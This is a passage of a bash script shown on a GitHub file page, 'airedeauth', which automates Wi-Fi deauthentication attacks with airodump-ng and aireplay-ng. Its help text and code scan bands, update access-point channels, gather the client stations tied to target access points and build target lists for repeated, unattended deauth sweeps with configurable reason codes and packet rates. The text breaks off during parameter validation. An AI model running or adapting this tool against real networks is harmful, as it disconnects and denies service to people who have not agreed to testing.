Repository navigation
Expand file tree
/
Copy pathairedeauth
More file actions
1056 lines (941 loc) · 38.6 KB
/
Copy pathairedeauth
File metadata and controls
1056 lines (941 loc) · 38.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
show_help() {
echo "Usage: ${0} [-i INTERFACE] [-b AP_BSSID] [-c CHANNEL] [-s STA_BSSID] [-f AP_BSSID_FILE] [-w WAIT] [-r REPEATS] [--pc COUNT] [--ps SPEED] [--rc REASON] [--sd STADURATION] [--st SCANTIME] [--fu FILTERUNASSOC] [--fbd FILTERBYDATA] [--wint WRITEINT] [--log FILE] [--uch] [--ag] [--an] [--aq] [--kf] [--rg] [-h] [--help]"
echo
echo "Options:"
echo " -i INTERFACE Specify the interface name to use."
echo " -b AP_BSSID Specify the target AP BSSID (mandatory for single target if not using -f)."
echo " -c CHANNEL Specify the channel number (mandatory if not using -f)."
echo " -s STA_BSSID Specify the target STA BSSID (mandatory for single target if not using -f)."
echo " -f FILE Specify the path to the file containing target AP BSSIDs and channels (one per line, format: BSSID,STATION,CHAN)."
echo " -w WAIT Specify the delay between runs in seconds (default: $DEFAULT_WAIT)."
echo " -r REPEATS Specify how many times the cycle should repeat (default: $DEFAULT_REPEATS)."
echo " --pc COUNT Specify the number of deauthentication packet groups to send per run (default: $DEFAULT_COUNT)."
echo " --ps SPEED Specify the packet speed (default: ${DEFAULT_SPEED})."
echo " --rc REASON Specify the deauthentication reason code (default: $DEFAULT_REASON)."
echo " --sd STADURATION Specify Duration for autogathering of stations. (default: ${DEFAULT_STADURATION}"
echo " --ag Autogather stations only. (MUST use --kf or the file will be deleted.)"
echo " --uch Update AP BSSID Files Channels only."
echo " --an Auto Update Channels and Stations + Attack (supply file format: BSSID,,)"
echo " --aq Auto Gather Stations + Attack."
echo " --st SCANTIME Specify the Scantime for channel update (default: ${DEFAULT_SCANTIME})."
echo " --fu true Specify Filter Unassociated client for channel update (default: ${DEFAULT_FILTERUNASSOC})."
echo " --fbd INT Specify Filter AP By Data Recieved for channel update (default: ${DEFAULT_FILTERBYDATA})."
echo " --wint INT Specify the write interval for channel update (default: ${DEFAULT_WRITEINT})."
echo " --kf Keep the generated file for --ag, --an, --aq or normal attack after use instead of deleting."
echo " --log FILE Append timestamped output to FILE (for fire-and-forget runs in screen)."
echo " --rg Re-detect channels + re-gather clients between each repeat cycle (file/auto mode; unattended sweeps)."
echo " -h Show this help menu."
echo " --help Same as -h."
echo
echo "Default Values:"
echo " WAIT $DEFAULT_WAIT seconds"
echo " REPEATS $DEFAULT_REPEATS times"
echo " COUNT $DEFAULT_COUNT packets"
echo " SPEED $DEFAULT_SPEED packets/second"
echo " REASON $DEFAULT_REASON reason code"
echo " STADURATION $DEFAULT_STADURATION seconds"
echo " AUTOGATHER $AUTO_GATHER"
echo " WRITEINT $DEFAULT_WRITEINT"
echo " FILTERBYDATA $DEFAULT_FILTERBYDATA"
echo " FILTERUNASSOC $DEFAULT_FILTERUNASSOC"
echo " SCANTIME $DEFAULT_SCANTIME"
echo " SCANTIME (AUTO) $DEFAULT_STAUTO"
echo
echo "Reason Codes:"
echo " 1 - Unspecified reason."
echo " 2 - Previous authentication no longer valid."
echo " 3 - Deauthenticated because sending station (STA) is leaving or has left Independent Basic Service Set (IBSS) or ESS."
echo " 4 - Disassociated due to inactivity."
echo " 5 - Disassociated because WAP device is unable to handle all currently associated STAs."
echo " 6 - Class 2 frame received from nonauthenticated STA."
echo " 7 - Class 3 frame received from nonassociated STA."
echo " 8 - Disassociated because sending STA is leaving or has left Basic Service Set."
echo " 9 - STA requesting (re)association is not authenticated with responding STA."
echo
echo "Target File Format for AP BSSID File (Autogather):"
echo "NOTE: ,, IS A PLACEHOLDER DO NOT REMOVE IT"
echo
echo " BSSID,,CHAN"
echo " DE:AD:BE:EF:12:34,,6"
echo
echo "Target File Format for AP BSSID File (Manual Gathering):"
echo
echo " BSSID,STATION,CHANNEL"
echo " 00:11:22:33:44:55,66:11:22:33:55:44,10"
echo
echo "Auto All File format (update/get channels, gather stations, attack):"
echo " BSSID,,"
echo " 00:11:22:33:44:55,,"
echo
echo
echo "Examples:"
echo
echo "Single Target AP, Single Channel:"
echo " ${0} -i wlan1mon -b 00:11:22:33:44:55 -c 6"
echo
echo "Single Target AP and Target STA, Single Channel:"
echo " ${0} -i wlan1mon -b 00:11:22:33:44:55 -s aa:bb:cc:dd:ee:ff -c 6"
echo
echo "AP BSSID File, With Optional Defaults:"
echo " ${0} -i wlan3mon -f targets.txt -w 30 -r 5"
echo
echo "AP BSSID File: Autogather"
echo " ${0} -i wlan1mon -f ap-channel-only.txt --ag"
echo
}
cleanup() {
trap - EXIT SIGINT SIGTERM SIGHUP
echo -e "\nCleaning up..."
# Screens started with 'screen -dmS' are reparented into their own session,
# so pkill -P $$ never sees them. Quit every screen this run created
# (matched by our unique SCREENUID) and reap the airodump/aireplay it holds.
kill_our_processes
pkill -P $$ 2>/dev/null
wait 2>/dev/null
remove_update_temp
keep_file_after
echo "Done."
exit 0
}
kill_our_processes() {
# 1) Quit detached screens created this run, matched by our unique SCREENUID.
# awk on the first field is more portable than a strict -oE pattern.
local sess
for sess in $(screen -ls 2>/dev/null | grep "${SCREENUID}" | awk '{print $1}'); do
screen -S "$sess" -X quit 2>/dev/null
done
screen -wipe >/dev/null 2>&1
# 2) Backstops in case a screen quit is missed on-device: kill the SCREEN
# wrappers by our unique session names (this also takes their airodump
# child with them), then any airodump we launched by its unique write
# path. Matching on SCREENUID / the /tmp paths keeps this from touching
# unrelated screens or captures on the box.
pkill -f "ch_update_${SCREENUID}" 2>/dev/null
pkill -f "autogather_${SCREENUID}" 2>/dev/null
pkill -f "/tmp/airodump_capture" 2>/dev/null
[ -n "${UPDATE_FILE}" ] && pkill -f "${UPDATE_FILE}" 2>/dev/null
}
remove_update_temp() {
find /tmp -maxdepth 1 -type f -name "$(basename "${0}").temp-*.csv" -exec rm {} +
find /tmp -maxdepth 1 -type f -name "airodump_capture-*.csv" -exec rm {} +
}
trap cleanup EXIT SIGINT SIGTERM SIGHUP
DEFAULT_WAIT=30
DEFAULT_REPEATS=1
DEFAULT_COUNT=10
DEFAULT_SPEED=5
DEFAULT_REASON=3
AUTO_GATHER=false
AUTO_ALL=false
AUTO_QUICK=false
AUTO_QUICK_USED=false
UPDATE_CH=false
LOG_FILE=""
REGATHER=false
LOOP_START_DELAY=16
KEEP_FILE=false
# Applies to Auto Normal too
DEFAULT_STADURATION=40
CDATE=$(date "+%H-%M-%S")
SCREENUID=$(openssl rand -hex 2)
# For ch update flag
DEFAULT_SCANTIME=38
DEFAULT_FILTERUNASSOC=true
DEFAULT_FILTERBYDATA=0
DEFAULT_WRITEINT=1
UPDATE_FILE="/tmp/$(basename "${0}").temp"
DEFAULT_STAUTO=65
# Define valid channel ranges for 2.4GHz and 5GHz
VALID_24GHZ_CHANNELS=(1 2 3 4 5 6 7 8 9 10 11 12 13 14)
# If in the US add 177 to the list of valid 5GHz channels if your interface supports it
VALID_5GHZ_CHANNELS=(36 40 44 48 52 56 60 64 100 104 108 112 116 120 124 128 132 136 140 144 149 153 157 161 165 173)
IS_24GHZ_SUPPORTED=false
IS_5GHZ_SUPPORTED=false
# Delay to inspect any skipped APs and their reasons
SKIPPED_AP_DELAY=5
WAIT_SECONDS=${WAIT_SECONDS:-$DEFAULT_WAIT}
REPEATS=${REPEATS:-$DEFAULT_REPEATS}
COUNT=${COUNT:-$DEFAULT_COUNT}
SPEED=${SPEED:-$DEFAULT_SPEED}
REASON=${REASON:-$DEFAULT_REASON}
STADURATION=${STADURATION:-$DEFAULT_STADURATION}
FILTERUNASSOC=${FILTERUNASSOC:-$DEFAULT_FILTERUNASSOC}
FILTERBYDATA=${FILTERBYDATA:-$DEFAULT_FILTERBYDATA}
WRITEINT=${WRITEINT:-$DEFAULT_WRITEINT}
SCANTIME=${SCANTIME:-$DEFAULT_SCANTIME}
AG_FILE=""
keep_file_after() {
[ "${KEEP_FILE}" == true ] && return 0
# Remove every timestamped work file generated from the original this run.
# The glob is keyed to THIS run's CDATE, so it only ever matches files we
# created (ORIGIN.CDATE, ORIGIN.CDATE.CDATE, ...) and never the original,
# regardless of how the name compounded across --rg cycles.
if [ -n "${ORIGIN_AP_BSSID_FILE}" ]; then
rm -f "${ORIGIN_AP_BSSID_FILE}.${CDATE}"* 2>/dev/null
fi
# Belt-and-braces: if AP_BSSID_FILE points at a generated file, drop it too.
if [ -n "${AP_BSSID_FILE}" ] && [ "${AP_BSSID_FILE}" != "${ORIGIN_AP_BSSID_FILE}" ]; then
rm -f "${AP_BSSID_FILE}" 2>/dev/null
fi
}
detect_supported_bands() {
if [ -n "${IFACE}" ]; then
INTERFACE="${IFACE}"
fi
# Reset every run so a previous 'true' cannot leak into a later detection.
IS_24GHZ_SUPPORTED=false
IS_5GHZ_SUPPORTED=false
# Get the PHY index for the interface using iw dev
PHY=$(iw dev | awk -v iface="${INTERFACE}" '$1 ~ /^phy#/ { phy=$1 } $1 == "Interface" && $2 == iface { print phy; exit }' | tr -d '#')
if [ -z "${PHY}" ]; then
echo "[ERROR]: Unable to find phy index for interface ${INTERFACE}. Exiting."
exit 1
fi
# Get the supported frequencies for the PHY interface
SUPPORTED_FREQUENCIES=$(iw phy ${PHY} info | grep "Frequencies" -A 13)
# Check for 2.4GHz frequencies
for freq in $(seq 2412 5 2484); do
if echo "${SUPPORTED_FREQUENCIES}" | grep -q "$freq"; then
IS_24GHZ_SUPPORTED=true
break
fi
done
# Check for 5GHz frequencies
for freq in $(seq 5180 5 5865); do
if echo "${SUPPORTED_FREQUENCIES}" | grep -q "$freq"; then
IS_5GHZ_SUPPORTED=true
break
fi
done
if [ "${AUTO_QUICK}" = true ]; then
# Debug output
echo "2.4GHz Supported: ${IS_24GHZ_SUPPORTED}"
echo "5GHz Supported: ${IS_5GHZ_SUPPORTED}"
fi
}
validate_bssid() {
local bssid="$1"
# Check if BSSID is in the correct format, case-insensitive
if [[ ! "$bssid" =~ ^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$ ]]; then
echo "[ERROR]: Invalid BSSID format: $bssid. BSSID should be in the format xx:xx:xx:xx:xx:xx with hex characters only." >&2
exit 1
fi
}
auto_all() {
if $AUTO_ALL; then
update_ch_check
fi
if $AUTO_QUICK; then
echo "Auto Quick Enabled. Skipping Channel Update."
auto_gather
fi
}
update_ch_check() {
# Check if auto is selected
if [ "${AUTO_ALL}" = true ]; then
echo "Automatic Update Options Config"
SCANTIME=${SCANTIME:-$DEFAULT_STAUTO}
FILTERUNASSOC=${FILTERUNASSOC:-$DEFAULT_FILTERUNASSOC}
WRITEINT=${WRITEINT:-$DEFAULT_WRITEINT}
FILTERBYDATA=${FILTERBYDATA:-$DEFAULT_FILTERBYDATA}
updatechannels
else
# Check if update is selected
if [ "${UPDATE_CH}" = true ]; then
echo "Update flag detected."
read -e -p "Enter value for SCANTIME (default: ${DEFAULT_SCANTIME}s): " SCANTIME
SCANTIME=${SCANTIME:-$DEFAULT_SCANTIME}
read -e -p "Enter value for FILTERBYDATA (default: ${DEFAULT_FILTERBYDATA}): " FILTERBYDATA
FILTERBYDATA=${FILTERBYDATA:-$DEFAULT_FILTERBYDATA}
read -e -p "Enter value for WRITEINT (default: ${DEFAULT_WRITEINT}s): " WRITEINT
WRITEINT=${WRITEINT:-$DEFAULT_WRITEINT}
read -e -p "Enter value for FILTERUNASSOC (default: ${DEFAULT_FILTERUNASSOC}): " FILTERUNASSOC
FILTERUNASSOC=${FILTERUNASSOC:-$DEFAULT_FILTERUNASSOC}
updatechannels "${SCANTIME}" "${FILTERBYDATA}" "${WRITEINT}" "${FILTERUNASSOC}"
fi
fi
}
updatechannels() {
if [ "${AUTO_ALL}" = true ]; then
AUTO_GATHER=true
detect_supported_bands
echo "Automatic Band Config and Channel Update."
if [ "${IS_24GHZ_SUPPORTED}" == true ] && [ "${IS_5GHZ_SUPPORTED}" == true ]; then
BAND="abg"
elif [ "${IS_24GHZ_SUPPORTED}" == true ] && [ "${IS_5GHZ_SUPPORTED}" == false ]; then
BAND="bg"
elif [ "${IS_5GHZ_SUPPORTED}" == true ] && [ "${IS_24GHZ_SUPPORTED}" == false ]; then
BAND="a"
else
echo "[ERROR]: No supported bands for selected interface."
exit 1
fi
# Run airodump-ng based on the detected or user-selected band
if [ "${FILTERUNASSOC}" == true ]; then
screen -dmS "ch_update_${SCREENUID}" airodump-ng --band "${BAND}" --output-format csv --write-interval "${WRITEINT}" -n "${FILTERBYDATA}" -w "${UPDATE_FILE}" -a "${IFACE}" &
echo "Gathering BSSIDs and Channels for ${SCANTIME}s. Please wait."
sleep "${SCANTIME}"
screen -S "ch_update_${SCREENUID}" -X quit
else
screen -dmS "ch_update_${SCREENUID}" airodump-ng --band "${BAND}" --output-format csv --write-interval "${WRITEINT}" -n "${FILTERBYDATA}" -w "${UPDATE_FILE}" "${IFACE}" &
sleep "${SCANTIME}"
echo "Gathering BSSIDs and Channels for ${SCANTIME}s. Please wait."
screen -S "ch_update_${SCREENUID}" -X quit
fi
else
# Perform a cleanup of temp_output just in case
remove_update_temp
echo "Updating input files channels. Please Wait.."
echo "SCANTIME VALUE: ${SCANTIME}s"
echo "FILTERBYDATA VALUE: ${FILTERBYDATA}"
echo "WRITEINT VALUE: ${WRITEINT}s"
echo "FILTERUNASSOC VALUE: ${FILTERUNASSOC}"
echo "INTERFACE: ${IFACE}"
# Detect supported bands dynamically using the interface
detect_supported_bands
# Ask user for band selection if both are supported
if [ "${IS_24GHZ_SUPPORTED}" == true ] && [ "${IS_5GHZ_SUPPORTED}" == true ]; then
echo "Both 2.4GHz and 5GHz supported. Please select a band:"
echo "1. 2.4GHz"
echo "2. 5GHz"
echo "3. Both"
read -p "Enter your choice (1/2/3): " BAND_CHOICE
case "$BAND_CHOICE" in
1)
BAND="bg"
echo "You selected 2.4GHz, scanning 2.4GHz."
;;
2)
BAND="a"
echo "You selected 5GHz, scanning 5GHz."
;;
3)
BAND="abg"
echo "You selected both 2.4GHz and 5GHz, scanning both bands."
;;
*)
echo "Invalid choice, defaulting to both bands."
BAND="abg"
;;
esac
elif [ "${IS_24GHZ_SUPPORTED}" == true ]; then
BAND="bg"
echo "Only 2.4GHz supported, scanning 2.4GHz."
elif [ "${IS_5GHZ_SUPPORTED}" == true ]; then
BAND="a"
echo "Only 5GHz supported, scanning 5GHz."
else
echo "Error: No supported bands detected for the selected interface."
exit 1
fi
# Run airodump-ng based on the detected or user-selected band
if [ "${FILTERUNASSOC}" == true ]; then
screen -dmS "ch_update_${SCREENUID}" airodump-ng --band "${BAND}" --output-format csv --write-interval "${WRITEINT}" -n "${FILTERBYDATA}" -w "${UPDATE_FILE}" -a "${IFACE}" &
echo "Gathering BSSIDs and Channels for ${SCANTIME}s. Please wait."
sleep "${SCANTIME}"
screen -S "ch_update_${SCREENUID}" -X quit
else
screen -dmS "ch_update_${SCREENUID}" airodump-ng --band "${BAND}" --output-format csv --write-interval "${WRITEINT}" -n "${FILTERBYDATA}" -w "${UPDATE_FILE}" "${IFACE}" &
echo "Gathering BSSIDs and Channels for ${SCANTIME}s. Please wait."
sleep "${SCANTIME}"
screen -S "ch_update_${SCREENUID}" -X quit
fi
fi
# Initiate file channel processing
process_channels
}
auto_gather() {
# Check auto capture STA is selected
if [ "$AUTO_GATHER" = true ]; then
if [ -z "$AP_BSSID_FILE" ]; then
echo "[ERROR]: -f (AP_BSSID_FILE) is mandatory with --ag, --an and --aq. Exiting."
exit 1
fi
detect_supported_bands
# Use a temporary output file to store results
OUTPUT_FILE="${AP_BSSID_FILE}.${CDATE}"
> "$OUTPUT_FILE"
# Array to store skipped APs
declare -a SKIPPED_APS
# Extract unique AP BSSIDs and Channels from the input file
mapfile -t AP_ENTRIES < <(awk -F"," '{print $1 "," $3}' "$AP_BSSID_FILE" | uniq)
for entry in "${AP_ENTRIES[@]}"; do
IFS=',' read -r ap_bssid channel <<< "$entry"
# Skip if channel is empty or non-numeric
if [[ -z "$channel" || ! "$channel" =~ ^[0-9]+$ ]]; then
SKIPPED_APS+=("$ap_bssid - Channel invalid or empty")
continue
fi
# Determine the band and validate the channel
if [[ "$channel" -le 14 ]]; then
if [[ "$IS_24GHZ_SUPPORTED" = false ]]; then
SKIPPED_APS+=("$ap_bssid - 2.4GHz not supported")
continue
elif [[ ! " ${VALID_24GHZ_CHANNELS[@]} " =~ " $channel " ]]; then
SKIPPED_APS+=("$ap_bssid - Invalid 2.4GHz channel $channel")
continue
fi
elif [[ "$channel" -ge 36 ]]; then
if [[ "$IS_5GHZ_SUPPORTED" = false ]]; then
SKIPPED_APS+=("$ap_bssid - 5GHz not supported")
continue
elif [[ ! " ${VALID_5GHZ_CHANNELS[@]} " =~ " $channel " ]]; then
SKIPPED_APS+=("$ap_bssid - Invalid 5GHz channel $channel")
continue
fi
else
SKIPPED_APS+=("$ap_bssid - Unknown band or invalid channel $channel")
continue
fi
# Set interface to correct channel
iwconfig "${IFACE}" channel "$channel"
# Passive listen only - no injected frames during gathering.
screen -dmS "autogather_${SCREENUID}" airodump-ng -d "$ap_bssid" -c "$channel" --write /tmp/airodump_capture --output-format csv "$IFACE" &
echo "Gathering Stations on ${ap_bssid} for ${STADURATION}s, Please wait."
sleep "$STADURATION"
if screen -list | grep -q "autogather_${SCREENUID}"; then
screen -S "autogather_${SCREENUID}" -X quit
fi
# Parse airodump's two-section CSV properly. The station section
# starts at the "Station MAC" header; field 1 is the STA MAC and
# field 6 is the AP it is associated with. Only keep stations tied
# to THIS ap_bssid (case-insensitive) and drop unassociated ones.
sta_found=0
if [ -f /tmp/airodump_capture-01.csv ]; then
while IFS= read -r sta_bssid; do
[ -z "$sta_bssid" ] && continue
echo "$ap_bssid,$sta_bssid,$channel" >> "$OUTPUT_FILE"
sta_found=$((sta_found+1))
done < <(
awk -F',' -v ap="$ap_bssid" '
BEGIN { instations=0 }
/Station MAC/ { instations=1; next }
instations {
mac=$1; bss=$6
gsub(/[[:space:]\r]/,"",mac); gsub(/[[:space:]\r]/,"",bss)
if (mac=="" ) next
if (toupper(bss)==toupper(ap)) print mac
}' /tmp/airodump_capture-01.csv
)
fi
# No clients tied to this AP: skip it this pass rather than
# queueing a broadcast deauth. It'll be picked up on a later
# re-gather if a client appears.
if [ "$sta_found" -eq 0 ]; then
echo "No clients found on ${ap_bssid}; skipping (no broadcast)."
else
echo "Found ${sta_found} client(s) on ${ap_bssid}."
fi
# Clean up temporary files
find /tmp -maxdepth 1 -type f -name "airodump_capture-*.csv" -exec rm {} +
done
# Display skipped APs at the end
if [[ ${#SKIPPED_APS[@]} -gt 0 ]]; then
echo -e "\n[SUMMARY]: Skipped APs:"
for skipped in "${SKIPPED_APS[@]}"; do
echo " $skipped"
done
echo "Continuing in ${SKIPPED_AP_DELAY} seconds..."
sleep "${SKIPPED_AP_DELAY}"
fi
echo "Auto-Gather complete. Results saved to ${OUTPUT_FILE}."
if [ "${AUTO_ALL}" = true ]; then
AUTO_ALL=false
AUTO_GATHER=false
UPDATE_CH=false
AUTO_QUICK=false
AP_BSSID_FILE="${AP_BSSID_FILE}.${CDATE}"
return 0
elif [ "${AUTO_QUICK}" = true ]; then
AUTO_GATHER=false
UPDATE_CH=false
AUTO_QUICK=false
AUTO_QUICK_USED=true
AP_BSSID_FILE="${AP_BSSID_FILE}.${CDATE}"
return 0
else
exit 1
fi
fi
}
process_channels() {
# Extract and update channel numbers
while IFS=',' read -r bssid old_channel; do
# Extract new channel number from temp_output
new_channel=$(grep "${bssid}" "${UPDATE_FILE}"-01.csv | head -n 1 | cut -d ',' -f 4)
# Update channel number in input file
_pc_tmp=$(mktemp) || { echo "[ERROR]: Unable to create temp file."; exit 1; }
awk -F',' -v OFS=',' -v bssid="${bssid}" -v new_channel="${new_channel}" 'BEGIN { OFS = "," } $1 == bssid { gsub(/^[[:space:]]+|[[:space:]]+$/, "", $3); gsub(/^[[:space:]]+|[[:space:]]+$/, "", new_channel); if ($3 != new_channel) $3 = new_channel; print } $1 != bssid' "$AP_BSSID_FILE" > "$_pc_tmp" && mv "$_pc_tmp" "$AP_BSSID_FILE"
rm -f "$_pc_tmp" 2>/dev/null
done < "${AP_BSSID_FILE}"
echo "All BSSIDs channels within a detectable range have been updated."
# Check for auto gather stas
if [ "${AUTO_GATHER}" = true ]; then
auto_gather
else
exit 1
fi
}
while [[ $# -gt 0 ]]; do
case "$1" in
-i)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for -i"
exit 1
fi
IFACE="$2"
shift 2
;;
-b)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for -b"
exit 1
fi
AP_BSSID="$2"
validate_bssid "${AP_BSSID}"
shift 2
;;
-c)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for -c"
exit 1
fi
CHANNEL="$2"
shift 2
;;
-s)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for -s"
exit 1
fi
STA_BSSID="$2"
validate_bssid "${STA_BSSID}"
shift 2
;;
-f)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for -f"
exit 1
fi
AP_BSSID_FILE="$2"
ORIGIN_AP_BSSID_FILE="$2"
shift 2
;;
-w)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for -w"
exit 1
fi
WAIT_SECONDS="$2"
shift 2
;;
-r)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for -r"
exit 1
fi
REPEATS="$2"
shift 2
;;
--pc)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for --pc"
exit 1
fi
COUNT="$2"
shift 2
;;
--ps)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for --ps"
exit 1
fi
SPEED="$2"
shift 2
;;
--rc)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for --rc"
exit 1
fi
REASON="$2"
shift 2
;;
--sd)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for --sd"
exit 1
fi
STADURATION="$2"
shift 2
;;
--ag) AUTO_GATHER=true; shift ;;
--uch) UPDATE_CH=true; shift ;;
--an) AUTO_ALL=true; shift ;;
--aq) AUTO_QUICK=true; AUTO_GATHER=true; shift ;;
--st)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for --st"
exit 1
fi
SCANTIME="$2"
shift 2
;;
--wint)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for --wint"
exit 1
fi
WRITEINT="$2"
shift 2
;;
--fu)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for --fu"
exit 1
fi
FILTERUNASSOC="$2"
shift 2
;;
--fbd)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for --fbd"
exit 1
fi
FILTERBYDATA="$2"
shift 2
;;
--kf) KEEP_FILE=true; shift ;;
--log)
if [[ -z "$2" ]]; then
echo "[ERROR]: Missing argument for --log"
exit 1
fi
LOG_FILE="$2"
shift 2
;;
--rg) REGATHER=true; shift ;;
-h|--help) show_help; exit 0 ;;
--) shift; break ;; # End of options
*) echo "Invalid option: $1" >&2; show_help; exit 1 ;;
esac
done
# --- Numeric validation for unattended safety ---
for _pair in "WAIT_SECONDS:-w" "REPEATS:-r" "COUNT:--pc" "SPEED:--ps" \
"REASON:--rc" "STADURATION:--sd" "SCANTIME:--st" "WRITEINT:--wint" \
"FILTERBYDATA:--fbd"; do
_var="${_pair%%:*}"; _flag="${_pair##*:}"; _val="${!_var}"
if [ -n "$_val" ] && [[ ! "$_val" =~ ^[0-9]+$ ]]; then
echo "[ERROR]: ${_flag} must be a non-negative integer (got '${_val}')." >&2
exit 1
fi
done
# --- Verify required tools before doing anything on air ---
_missing=()
for _tool in aireplay-ng airodump-ng iw iwconfig screen awk; do
command -v "$_tool" >/dev/null 2>&1 || _missing+=("$_tool")
done
if [ ${#_missing[@]} -gt 0 ]; then
echo "[ERROR]: Missing required tool(s): ${_missing[*]}" >&2
echo "[INFO]: Install them (e.g. 'opkg install <tool>') and re-run." >&2
exit 1
fi
# --- Set up logging: timestamp every line and tee to the logfile if asked ---
if [ -n "$LOG_FILE" ]; then
if ! : > "$LOG_FILE" 2>/dev/null; then
echo "[ERROR]: Cannot write to log file '$LOG_FILE'." >&2
exit 1
fi
exec > >(while IFS= read -r _line; do printf '%s %s\n' "$(date '+%F %T')" "$_line"; done | tee -a "$LOG_FILE") 2>&1
echo "Logging to ${LOG_FILE}"
fi
# Function to validate parameters
validate_params() {
if [ -z "$IFACE" ]; then
echo "[ERROR]: Interface is mandatory. Exiting." >&2
exit 1
fi
# Check if -f (AP_BSSID_FILE) is being used along with other conflicting options
if [ -n "$AP_BSSID_FILE" ] && { [ -n "$AP_BSSID" ] || [ -n "$STA_BSSID" ] || [ -n "$CHANNEL" ]; }; then
echo "[ERROR]: -f (AP_BSSID_FILE) cannot be used with -b, -s, or -c. Exiting."
exit 1
elif [ -z "$AP_BSSID_FILE" ]; then
[ -z "$AP_BSSID" ] && echo "[ERROR]: -b (AP_BSSID) is mandatory. Exiting." && exit 1
[ -z "$CHANNEL" ] && echo "[ERROR]: -c (CHANNEL) is mandatory. Exiting." && exit 1
fi
# Validate Speed range
if [ "${SPEED}" -lt 1 ] || [ "${SPEED}" -gt 1024 ]; then
echo "[ERROR]: Speed must be in the range 1-1024. Exiting."
exit 1
fi
# Check INTERFACE is valid and exists
if iwconfig "${IFACE}" 2>&1 | grep -q "No such device"; then
echo "[ERROR]: The interface '${IFACE}' is not valid or does not exist."
exit 1
fi
# Check INTERFACE is in monitor mode
if ! iwconfig "${IFACE}" 2>&1 | grep -q "Mode:Monitor"; then
echo "[ERROR]: '${IFACE}' must be in monitor mode."
exit 1
fi
}
validate_channel_range() {
detect_supported_bands
# Validate BSSID_FILE
